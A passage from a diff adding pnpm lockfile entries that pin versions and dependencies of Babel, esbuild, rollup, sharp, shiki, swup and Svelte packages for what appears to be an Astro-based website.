'@babel/plugin-transform-shorthand-properties@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-spread@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + '@babel/helper-skip-transparent-expression-wrappers': 7.27.1 + transitivePeerDependencies: + - supports-color + + '@babel/plugin-transform-sticky-regex@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-template-literals@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-typeof-symbol@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-unicode-escapes@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-unicode-property-regex@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-create-regexp-features-plugin': 7.27.1(@babel/core@7.28.0) + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-unicode-regex@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-create-regexp-features-plugin': 7.27.1(@babel/core@7.28.0) + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-unicode-sets-regex@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-create-regexp-features-plugin': 7.27.1(@babel/core@7.28.0) + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/preset-env@7.28.0(@babel/core@7.28.0)': + dependencies: + '@babel/compat-data': 7.28.0 + '@babel/core': 7.28.0 + '@babel/helper-compilation-targets': 7.27.2 + '@babel/helper-plugin-utils': 7.27.1 + '@babel/helper-validator-option': 7.27.1 + '@babel/plugin-bugfix-firefox-class-in-computed-class-key': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-bugfix-safari-class-field-initializer-scope': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-proposal-private-property-in-object': 7.21.0-placeholder-for-preset-env.2(@babel/core@7.28.0) + '@babel/plugin-syntax-import-assertions': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-syntax-import-attributes': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-syntax-unicode-sets-regex': 7.18.6(@babel/core@7.28.0) + '@babel/plugin-transform-arrow-functions': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-async-generator-functions': 7.28.0(@babel/core@7.28.0) + '@babel/plugin-transform-async-to-generator': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-block-scoped-functions': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-block-scoping': 7.28.0(@babel/core@7.28.0) + '@babel/plugin-transform-class-properties': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-class-static-block': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-classes': 7.28.0(@babel/core@7.28.0) + '@babel/plugin-transform-computed-properties': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-destructuring': 7.28.0(@babel/core@7.28.0) + '@babel/plugin-transform-dotall-regex': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-duplicate-keys': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-duplicate-named-capturing-groups-regex': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-dynamic-import': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-explicit-resource-management': 7.28.0(@babel/core@7.28.0) + '@babel/plugin-transform-exponentiation-operator': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-export-namespace-from': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-for-of': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-function-name': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-json-strings': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-literals': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-logical-assignment-operators': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-member-expression-literals': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-modules-amd': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-modules-commonjs': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-modules-systemjs': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-modules-umd': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-named-capturing-groups-regex': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-new-target': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-nullish-coalescing-operator': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-numeric-separator': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-object-rest-spread': 7.28.0(@babel/core@7.28.0) + '@babel/plugin-transform-object-super': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-optional-catch-binding': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-optional-chaining': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-parameters': 7.27.7(@babel/core@7.28.0) + '@babel/plugin-transform-private-methods': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-private-property-in-object': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-property-literals': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-regenerator': 7.28.1(@babel/core@7.28.0) + '@babel/plugin-transform-regexp-modifiers': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-reserved-words': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-shorthand-properties': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-spread': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-sticky-regex': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-template-literals': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-typeof-symbol': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-unicode-escapes': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-unicode-property-regex': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-unicode-regex': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-unicode-sets-regex': 7.27.1(@babel/core@7.28.0) + '@babel/preset-modules': 0.1.6-no-external-plugins(@babel/core@7.28.0) + babel-plugin-polyfill-corejs2: 0.4.14(@babel/core@7.28.0) + babel-plugin-polyfill-corejs3: 0.13.0(@babel/core@7.28.0) + babel-plugin-polyfill-regenerator: 0.6.5(@babel/core@7.28.0) + core-js-compat: 3.44.0 + semver: 6.3.1 + transitivePeerDependencies: + - supports-color + + '@babel/preset-flow@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + '@babel/helper-validator-option': 7.27.1 + '@babel/plugin-transform-flow-strip-types': 7.27.1(@babel/core@7.28.0) + + '@babel/preset-modules@0.1.6-no-external-plugins(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + '@babel/types': 7.28.4 + esutils: 2.0.3 + + '@babel/preset-react@7.27.1(@babel/core@7.28.0)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-plugin-utils': 7.27.1 + '@babel/helper-validator-option': 7.27.1 + '@babel/plugin-transform-react-display-name': 7.28.0(@babel/core@7.28.0) + '@babel/plugin-transform-react-jsx': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-react-jsx-development': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-react-pure-annotations': 7.27.1(@babel/core@7.28.0) + transitivePeerDependencies: + - supports-color + + '@babel/runtime@7.27.6': {} + + '@babel/template@7.27.2': + dependencies: + '@babel/code-frame': 7.27.1 + '@babel/parser': 7.28.4 + '@babel/types': 7.28.4 + + '@babel/traverse@7.28.0': + dependencies: + '@babel/code-frame': 7.27.1 + '@babel/generator': 7.28.0 + '@babel/helper-globals': 7.28.0 + '@babel/parser': 7.28.4 + '@babel/template': 7.27.2 + '@babel/types': 7.28.4 + debug: 4.4.3 + transitivePeerDependencies: + - supports-color + + '@babel/types@7.28.4': + dependencies: + '@babel/helper-string-parser': 7.27.1 + '@babel/helper-validator-identifier': 7.27.1 + + '@biomejs/biome@2.2.5': + optionalDependencies: + '@biomejs/cli-darwin-arm64': 2.2.5 + '@biomejs/cli-darwin-x64': 2.2.5 + '@biomejs/cli-linux-arm64': 2.2.5 + '@biomejs/cli-linux-arm64-musl': 2.2.5 + '@biomejs/cli-linux-x64': 2.2.5 + '@biomejs/cli-linux-x64-musl': 2.2.5 + '@biomejs/cli-win32-arm64': 2.2.5 + '@biomejs/cli-win32-x64': 2.2.5 + + '@biomejs/cli-darwin-arm64@2.2.5': + optional: true + + '@biomejs/cli-darwin-x64@2.2.5': + optional: true + + '@biomejs/cli-linux-arm64-musl@2.2.5': + optional: true + + '@biomejs/cli-linux-arm64@2.2.5': + optional: true + + '@biomejs/cli-linux-x64-musl@2.2.5': + optional: true + + '@biomejs/cli-linux-x64@2.2.5': + optional: true + + '@biomejs/cli-win32-arm64@2.2.5': + optional: true + + '@biomejs/cli-win32-x64@2.2.5': + optional: true + + '@capsizecss/unpack@2.4.0': + dependencies: + blob-to-buffer: 1.2.9 + cross-fetch: 3.2.0 + fontkit: 2.0.4 + transitivePeerDependencies: + - encoding + + '@csstools/selector-resolve-nested@3.1.0(postcss-selector-parser@7.1.0)': + dependencies: + postcss-selector-parser: 7.1.0 + + '@csstools/selector-specificity@5.0.0(postcss-selector-parser@7.1.0)': + dependencies: + postcss-selector-parser: 7.1.0 + + '@ctrl/tinycolor@4.1.0': {} + + '@emmetio/abbreviation@2.3.3': + dependencies: + '@emmetio/scanner': 1.0.4 + + '@emmetio/css-abbreviation@2.1.8': + dependencies: + '@emmetio/scanner': 1.0.4 + + '@emmetio/css-parser@0.4.0': + dependencies: + '@emmetio/stream-reader': 2.2.0 + '@emmetio/stream-reader-utils': 0.1.0 + + '@emmetio/html-matcher@1.3.0': + dependencies: + '@emmetio/scanner': 1.0.4 + + '@emmetio/scanner@1.0.4': {} + + '@emmetio/stream-reader-utils@0.1.0': {} + + '@emmetio/stream-reader@2.2.0': {} + + '@emnapi/runtime@1.5.0': + dependencies: + tslib: 2.8.1 + optional: true + + '@esbuild/aix-ppc64@0.25.10': + optional: true + + '@esbuild/android-arm64@0.25.10': + optional: true + + '@esbuild/android-arm@0.25.10': + optional: true + + '@esbuild/android-x64@0.25.10': + optional: true + + '@esbuild/darwin-arm64@0.25.10': + optional: true + + '@esbuild/darwin-x64@0.25.10': + optional: true + + '@esbuild/freebsd-arm64@0.25.10': + optional: true + + '@esbuild/freebsd-x64@0.25.10': + optional: true + + '@esbuild/linux-arm64@0.25.10': + optional: true + + '@esbuild/linux-arm@0.25.10': + optional: true + + '@esbuild/linux-ia32@0.25.10': + optional: true + + '@esbuild/linux-loong64@0.25.10': + optional: true + + '@esbuild/linux-mips64el@0.25.10': + optional: true + + '@esbuild/linux-ppc64@0.25.10': + optional: true + + '@esbuild/linux-riscv64@0.25.10': + optional: true + + '@esbuild/linux-s390x@0.25.10': + optional: true + + '@esbuild/linux-x64@0.25.10': + optional: true + + '@esbuild/netbsd-arm64@0.25.10': + optional: true + + '@esbuild/netbsd-x64@0.25.10': + optional: true + + '@esbuild/openbsd-arm64@0.25.10': + optional: true + + '@esbuild/openbsd-x64@0.25.10': + optional: true + + '@esbuild/openharmony-arm64@0.25.10': + optional: true + + '@esbuild/sunos-x64@0.25.10': + optional: true + + '@esbuild/win32-arm64@0.25.10': + optional: true + + '@esbuild/win32-ia32@0.25.10': + optional: true + + '@esbuild/win32-x64@0.25.10': + optional: true + + '@expressive-code/core@0.41.3': + dependencies: + '@ctrl/tinycolor': 4.1.0 + hast-util-select: 6.0.4 + hast-util-to-html: 9.0.5 + hast-util-to-text: 4.0.2 + hastscript: 9.0.1 + postcss: 8.5.6 + postcss-nested: 6.2.0(postcss@8.5.6) + unist-util-visit: 5.0.0 + unist-util-visit-parents: 6.0.1 + + '@expressive-code/plugin-collapsible-sections@0.41.3': + dependencies: + '@expressive-code/core': 0.41.3 + + '@expressive-code/plugin-frames@0.41.3': + dependencies: + '@expressive-code/core': 0.41.3 + + '@expressive-code/plugin-line-numbers@0.41.3': + dependencies: + '@expressive-code/core': 0.41.3 + + '@expressive-code/plugin-shiki@0.41.3': + dependencies: + '@expressive-code/core': 0.41.3 + shiki: 3.13.0 + + '@expressive-code/plugin-text-markers@0.41.3': + dependencies: + '@expressive-code/core': 0.41.3 + + '@fontsource-variable/jetbrains-mono@5.2.8': {} + + '@fontsource/roboto@5.2.8': {} + + '@iconify-json/fa6-brands@1.2.6': + dependencies: + '@iconify/types': 2.0.0 + + '@iconify-json/fa6-regular@1.2.4': + dependencies: + '@iconify/types': 2.0.0 + + '@iconify-json/fa6-solid@1.2.4': + dependencies: + '@iconify/types': 2.0.0 + + '@iconify-json/material-symbols@1.2.40': + dependencies: + '@iconify/types': 2.0.0 + + '@iconify-json/mingcute@1.2.5': + dependencies: + '@iconify/types': 2.0.0 + + '@iconify-json/streamline-ultimate@1.2.2': + dependencies: + '@iconify/types': 2.0.0 + + '@iconify/svelte@4.2.0(svelte@5.39.8)': + dependencies: + '@iconify/types': 2.0.0 + svelte: 5.39.8 + + '@iconify/tools@4.1.2': + dependencies: + '@iconify/types': 2.0.0 + '@iconify/utils': 2.3.0 + '@types/tar': 6.1.13 + axios: 1.8.4 + cheerio: 1.0.0 + domhandler: 5.0.3 + extract-zip: 2.0.1 + local-pkg: 0.5.1 + pathe: 1.1.2 + svgo: 3.3.2 + tar: 6.2.1 + transitivePeerDependencies: + - debug + - supports-color + + '@iconify/types@2.0.0': {} + + '@iconify/utils@2.3.0': + dependencies: + '@antfu/install-pkg': 1.0.0 + '@antfu/utils': 8.1.1 + '@iconify/types': 2.0.0 + debug: 4.4.3 + globals: 15.15.0 + kolorist: 1.8.0 + local-pkg: 1.1.1 + mlly: 1.7.4 + transitivePeerDependencies: + - supports-color + + '@img/colour@1.0.0': {} + + '@img/sharp-darwin-arm64@0.34.4': + optionalDependencies: + '@img/sharp-libvips-darwin-arm64': 1.2.3 + optional: true + + '@img/sharp-darwin-x64@0.34.4': + optionalDependencies: + '@img/sharp-libvips-darwin-x64': 1.2.3 + optional: true + + '@img/sharp-libvips-darwin-arm64@1.2.3': + optional: true + + '@img/sharp-libvips-darwin-x64@1.2.3': + optional: true + + '@img/sharp-libvips-linux-arm64@1.2.3': + optional: true + + '@img/sharp-libvips-linux-arm@1.2.3': + optional: true + + '@img/sharp-libvips-linux-ppc64@1.2.3': + optional: true + + '@img/sharp-libvips-linux-s390x@1.2.3': + optional: true + + '@img/sharp-libvips-linux-x64@1.2.3': + optional: true + + '@img/sharp-libvips-linuxmusl-arm64@1.2.3': + optional: true + + '@img/sharp-libvips-linuxmusl-x64@1.2.3': + optional: true + + '@img/sharp-linux-arm64@0.34.4': + optionalDependencies: + '@img/sharp-libvips-linux-arm64': 1.2.3 + optional: true + + '@img/sharp-linux-arm@0.34.4': + optionalDependencies: + '@img/sharp-libvips-linux-arm': 1.2.3 + optional: true + + '@img/sharp-linux-ppc64@0.34.4': + optionalDependencies: + '@img/sharp-libvips-linux-ppc64': 1.2.3 + optional: true + + '@img/sharp-linux-s390x@0.34.4': + optionalDependencies: + '@img/sharp-libvips-linux-s390x': 1.2.3 + optional: true + + '@img/sharp-linux-x64@0.34.4': + optionalDependencies: + '@img/sharp-libvips-linux-x64': 1.2.3 + optional: true + + '@img/sharp-linuxmusl-arm64@0.34.4': + optionalDependencies: + '@img/sharp-libvips-linuxmusl-arm64': 1.2.3 + optional: true + + '@img/sharp-linuxmusl-x64@0.34.4': + optionalDependencies: + '@img/sharp-libvips-linuxmusl-x64': 1.2.3 + optional: true + + '@img/sharp-wasm32@0.34.4': + dependencies: + '@emnapi/runtime': 1.5.0 + optional: true + + '@img/sharp-win32-arm64@0.34.4': + optional: true + + '@img/sharp-win32-ia32@0.34.4': + optional: true + + '@img/sharp-win32-x64@0.34.4': + optional: true + + '@isaacs/cliui@8.0.2': + dependencies: + string-width: 5.1.2 + string-width-cjs: string-width@4.2.3 + strip-ansi: 7.1.2 + strip-ansi-cjs: strip-ansi@6.0.1 + wrap-ansi: 8.1.0 + wrap-ansi-cjs: wrap-ansi@7.0.0 + + '@jridgewell/gen-mapping@0.3.13': + dependencies: + '@jridgewell/sourcemap-codec': 1.5.5 + '@jridgewell/trace-mapping': 0.3.31 + + '@jridgewell/remapping@2.3.5': + dependencies: + '@jridgewell/gen-mapping': 0.3.13 + '@jridgewell/trace-mapping': 0.3.31 + + '@jridgewell/resolve-uri@3.1.2': {} + + '@jridgewell/source-map@0.3.10': + dependencies: + '@jridgewell/gen-mapping': 0.3.13 + '@jridgewell/trace-mapping': 0.3.31 + + '@jridgewell/sourcemap-codec@1.5.0': {} + + '@jridgewell/sourcemap-codec@1.5.5': {} + + '@jridgewell/trace-mapping@0.3.31': + dependencies: + '@jridgewell/resolve-uri': 3.1.2 + '@jridgewell/sourcemap-codec': 1.5.5 + + '@noble/curves@1.2.0': + dependencies: + '@noble/hashes': 1.3.2 + + '@noble/hashes@1.3.2': {} + + '@nodelib/fs.scandir@2.1.5': + dependencies: + '@nodelib/fs.stat': 2.0.5 + run-parallel: 1.2.0 + + '@nodelib/fs.stat@2.0.5': {} + + '@nodelib/fs.walk@1.2.8': + dependencies: + '@nodelib/fs.scandir': 2.1.5 + fastq: 1.19.1 + + '@oslojs/encoding@1.1.0': {} + + '@pagefind/darwin-arm64@1.4.0': + optional: true + + '@pagefind/darwin-x64@1.4.0': + optional: true + + '@pagefind/freebsd-x64@1.4.0': + optional: true + + '@pagefind/linux-arm64@1.4.0': + optional: true + + '@pagefind/linux-x64@1.4.0': + optional: true + + '@pagefind/windows-x64@1.4.0': + optional: true + + '@parcel/watcher-android-arm64@2.5.1': + optional: true + + '@parcel/watcher-darwin-arm64@2.5.1': + optional: true + + '@parcel/watcher-darwin-x64@2.5.1': + optional: true + + '@parcel/watcher-freebsd-x64@2.5.1': + optional: true + + '@parcel/watcher-linux-arm-glibc@2.5.1': + optional: true + + '@parcel/watcher-linux-arm-musl@2.5.1': + optional: true + + '@parcel/watcher-linux-arm64-glibc@2.5.1': + optional: true + + '@parcel/watcher-linux-arm64-musl@2.5.1': + optional: true + + '@parcel/watcher-linux-x64-glibc@2.5.1': + optional: true + + '@parcel/watcher-linux-x64-musl@2.5.1': + optional: true + + '@parcel/watcher-win32-arm64@2.5.1': + optional: true + + '@parcel/watcher-win32-ia32@2.5.1': + optional: true + + '@parcel/watcher-win32-x64@2.5.1': + optional: true + + '@parcel/watcher@2.5.1': + dependencies: + detect-libc: 1.0.3 + is-glob: 4.0.3 + micromatch: 4.0.8 + node-addon-api: 7.1.1 + optionalDependencies: + '@parcel/watcher-android-arm64': 2.5.1 + '@parcel/watcher-darwin-arm64': 2.5.1 + '@parcel/watcher-darwin-x64': 2.5.1 + '@parcel/watcher-freebsd-x64': 2.5.1 + '@parcel/watcher-linux-arm-glibc': 2.5.1 + '@parcel/watcher-linux-arm-musl': 2.5.1 + '@parcel/watcher-linux-arm64-glibc': 2.5.1 + '@parcel/watcher-linux-arm64-musl': 2.5.1 + '@parcel/watcher-linux-x64-glibc': 2.5.1 + '@parcel/watcher-linux-x64-musl': 2.5.1 + '@parcel/watcher-win32-arm64': 2.5.1 + '@parcel/watcher-win32-ia32': 2.5.1 + '@parcel/watcher-win32-x64': 2.5.1 + optional: true + + '@pkgjs/parseargs@0.11.0': + optional: true + + '@radix-ui/react-compose-refs@1.1.2(@types/react@19.2.6)(react@19.2.0)': + dependencies: + react: 19.2.0 + optionalDependencies: + '@types/react': 19.2.6 + + '@radix-ui/react-slot@1.2.4(@types/react@19.2.6)(react@19.2.0)': + dependencies: + '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.6)(react@19.2.0) + react: 19.2.0 + optionalDependencies: + '@types/react': 19.2.6 + + '@rolldown/pluginutils@1.0.0-beta.27': {} + + '@rollup/plugin-alias@3.1.9(rollup@2.79.2)': + dependencies: + rollup: 2.79.2 + slash: 3.0.0 + + '@rollup/plugin-babel@5.3.1(@babel/core@7.28.0)(@types/babel__core@7.20.5)(rollup@2.79.2)': + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-module-imports': 7.27.1 + '@rollup/pluginutils': 3.1.0(rollup@2.79.2) + rollup: 2.79.2 + optionalDependencies: + '@types/babel__core': 7.20.5 + transitivePeerDependencies: + - supports-color + + '@rollup/plugin-commonjs@17.1.0(rollup@2.79.2)': + dependencies: + '@rollup/pluginutils': 3.1.0(rollup@2.79.2) + commondir: 1.0.1 + estree-walker: 2.0.2 + glob: 7.2.3 + is-reference: 1.2.1 + magic-string: 0.25.9 + resolve: 1.22.10 + rollup: 2.79.2 + + '@rollup/plugin-json@4.1.0(rollup@2.79.2)': + dependencies: + '@rollup/pluginutils': 3.1.0(rollup@2.79.2) + rollup: 2.79.2 + + '@rollup/plugin-node-resolve@11.2.1(rollup@2.79.2)': + dependencies: + '@rollup/pluginutils': 3.1.0(rollup@2.79.2) + '@types/resolve': 1.17.1 + builtin-modules: 3.3.0 + deepmerge: 4.3.1 + is-module: 1.0.0 + resolve: 1.22.10 + rollup: 2.79.2 + + '@rollup/plugin-yaml@4.1.2(rollup@2.79.2)': + dependencies: + '@rollup/pluginutils': 5.1.4(rollup@2.79.2) + js-yaml: 4.1.0 + tosource: 2.0.0-alpha.3 + optionalDependencies: + rollup: 2.79.2 + + '@rollup/pluginutils@3.1.0(rollup@2.79.2)': + dependencies: + '@types/estree': 0.0.39 + estree-walker: 1.0.1 + picomatch: 2.3.1 + rollup: 2.79.2 + + '@rollup/pluginutils@4.2.1': + dependencies: + estree-walker: 2.0.2 + picomatch: 2.3.1 + + '@rollup/pluginutils@5.1.4(rollup@2.79.2)': + dependencies: + '@types/estree': 1.0.8 + estree-walker: 2.0.2 + picomatch: 4.0.3 + optionalDependencies: + rollup: 2.79.2 + + '@rollup/pluginutils@5.3.0(rollup@2.79.2)': + dependencies: + '@types/estree': 1.0.8 + estree-walker: 2.0.2 + picomatch: 4.0.3 + optionalDependencies: + rollup: 2.79.2 + + '@rollup/rollup-android-arm-eabi@4.52.2': + optional: true + + '@rollup/rollup-android-arm64@4.52.2': + optional: true + + '@rollup/rollup-darwin-arm64@4.52.2': + optional: true + + '@rollup/rollup-darwin-x64@4.52.2': + optional: true + + '@rollup/rollup-freebsd-arm64@4.52.2': + optional: true + + '@rollup/rollup-freebsd-x64@4.52.2': + optional: true + + '@rollup/rollup-linux-arm-gnueabihf@4.52.2': + optional: true + + '@rollup/rollup-linux-arm-musleabihf@4.52.2': + optional: true + + '@rollup/rollup-linux-arm64-gnu@4.52.2': + optional: true + + '@rollup/rollup-linux-arm64-musl@4.52.2': + optional: true + + '@rollup/rollup-linux-loong64-gnu@4.52.2': + optional: true + + '@rollup/rollup-linux-ppc64-gnu@4.52.2': + optional: true + + '@rollup/rollup-linux-riscv64-gnu@4.52.2': + optional: true + + '@rollup/rollup-linux-riscv64-musl@4.52.2': + optional: true + + '@rollup/rollup-linux-s390x-gnu@4.52.2': + optional: true + + '@rollup/rollup-linux-x64-gnu@4.52.2': + optional: true + + '@rollup/rollup-linux-x64-musl@4.52.2': + optional: true + + '@rollup/rollup-openharmony-arm64@4.52.2': + optional: true + + '@rollup/rollup-win32-arm64-msvc@4.52.2': + optional: true + + '@rollup/rollup-win32-ia32-msvc@4.52.2': + optional: true + + '@rollup/rollup-win32-x64-gnu@4.52.2': + optional: true + + '@rollup/rollup-win32-x64-msvc@4.52.2': + optional: true + + '@shikijs/core@3.13.0': + dependencies: + '@shikijs/types': 3.13.0 + '@shikijs/vscode-textmate': 10.0.2 + '@types/hast': 3.0.4 + hast-util-to-html: 9.0.5 + + '@shikijs/engine-javascript@3.13.0': + dependencies: + '@shikijs/types': 3.13.0 + '@shikijs/vscode-textmate': 10.0.2 + oniguruma-to-es: 4.3.3 + + '@shikijs/engine-oniguruma@3.13.0': + dependencies: + '@shikijs/types': 3.13.0 + '@shikijs/vscode-textmate': 10.0.2 + + '@shikijs/langs@3.13.0': + dependencies: + '@shikijs/types': 3.13.0 + + '@shikijs/themes@3.13.0': + dependencies: + '@shikijs/types': 3.13.0 + + '@shikijs/types@3.13.0': + dependencies: + '@shikijs/vscode-textmate': 10.0.2 + '@types/hast': 3.0.4 + + '@shikijs/vscode-textmate@10.0.2': {} + + '@surma/rollup-plugin-off-main-thread@2.2.3': + dependencies: + ejs: 3.1.10 + json5: 2.2.3 + magic-string: 0.25.9 + string.prototype.matchall: 4.0.12 + + '@sveltejs/acorn-typescript@1.0.6(acorn@8.15.0)': + dependencies: + acorn: 8.15.0 + + '@sveltejs/vite-plugin-svelte-inspector@4.0.1(@sveltejs/vite-plugin-svelte@5.1.1(svelte@5.39.8)(vite@6.3.6(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(yaml@2.7.0)))(svelte@5.39.8)(vite@6.3.6(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(yaml@2.7.0))': + dependencies: + '@sveltejs/vite-plugin-svelte': 5.1.1(svelte@5.39.8)(vite@6.3.6(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(yaml@2.7.0)) + debug: 4.4.3 + svelte: 5.39.8 + vite: 6.3.6(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(yaml@2.7.0) + transitivePeerDependencies: + - supports-color + + '@sveltejs/vite-plugin-svelte@5.1.1(svelte@5.39.8)(vite@6.3.6(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(yaml@2.7.0))': + dependencies: + '@sveltejs/vite-plugin-svelte-inspector': 4.0.1(@sveltejs/vite-plugin-svelte@5.1.1(svelte@5.39.8)(vite@6.3.6(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(yaml@2.7.0)))(svelte@5.39.8)(vite@6.3.6(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(yaml@2.7.0)) + debug: 4.4.3 + deepmerge: 4.3.1 + kleur: 4.1.5 + magic-string: 0.30.19 + svelte: 5.39.8 + vite: 6.3.6(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(yaml@2.7.0) + vitefu: 1.1.1(vite@6.3.6(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(yaml@2.7.0)) + transitivePeerDependencies: + - supports-color + + '@swc/helpers@0.5.17': + dependencies: + tslib: 2.8.1 + + '@swup/a11y-plugin@5.0.0(swup@4.8.2)': + dependencies: + '@swup/plugin': 4.0.0 + focus-options-polyfill: 1.6.0 + swup: 4.8.2 + + '@swup/astro@1.7.0(@types/babel__core@7.20.5)': + dependencies: + '@swup/a11y-plugin': 5.0.0(swup@4.8.2) + '@swup/body-class-plugin': 3.3.0(swup@4.8.2) + '@swup/debug-plugin': 4.1.0(swup@4.8.2) + '@swup/fade-theme': 2.0.1(swup@4.8.2) + '@swup/forms-plugin': 3.6.0(swup@4.8.2) + '@swup/fragment-plugin': 1.1.2(swup@4.8.2) + '@swup/head-plugin': 2.3.1(swup@4.8.2) + '@swup/overlay-theme': 2.0.1(swup@4.8.2) + '@swup/parallel-plugin': 0.4.0(@types/babel__core@7.20.5)(swup@4.8.2) + '@swup/preload-plugin': 3.2.11(swup@4.8.2) + '@swup/progress-plugin': 3.2.0(swup@4.8.2) + '@swup/route-name-plugin': 4.1.0(@types/babel__core@7.20.5)(swup@4.8.2) + '@swup/scripts-plugin': 2.1.0(swup@4.8.2) + '@swup/scroll-plugin': 3.3.2(swup@4.8.2) + '@swup/slide-theme': 2.0.1(swup@4.8.2) + swup: 4.8.2 + swup-morph-plugin: 1.3.0(swup@4.8.2) + transitivePeerDependencies: + - '@types/babel__core' + - rolldown + - supports-color + - ts-node + + '@swup/body-class-plugin@3.3.0(swup@4.8.2)': + dependencies: + '@swup/plugin': 4.0.0 + swup: 4.8.2 + + '@swup/browserslist-config@1.0.1': {} + + '@swup/debug-plugin@4.1.0(swup@4.8.2)': + dependencies: + '@swup/plugin': 4.0.0 + swup: 4.8.2 + + '@swup/fade-theme@2.0.1(swup@4.8.2)': + dependencies: + '@swup/theme': 2.1.0(swup@4.8.2) + swup: 4.8.2 + + '@swup/forms-plugin@3.6.0(swup@4.8.2)': + dependencies: + 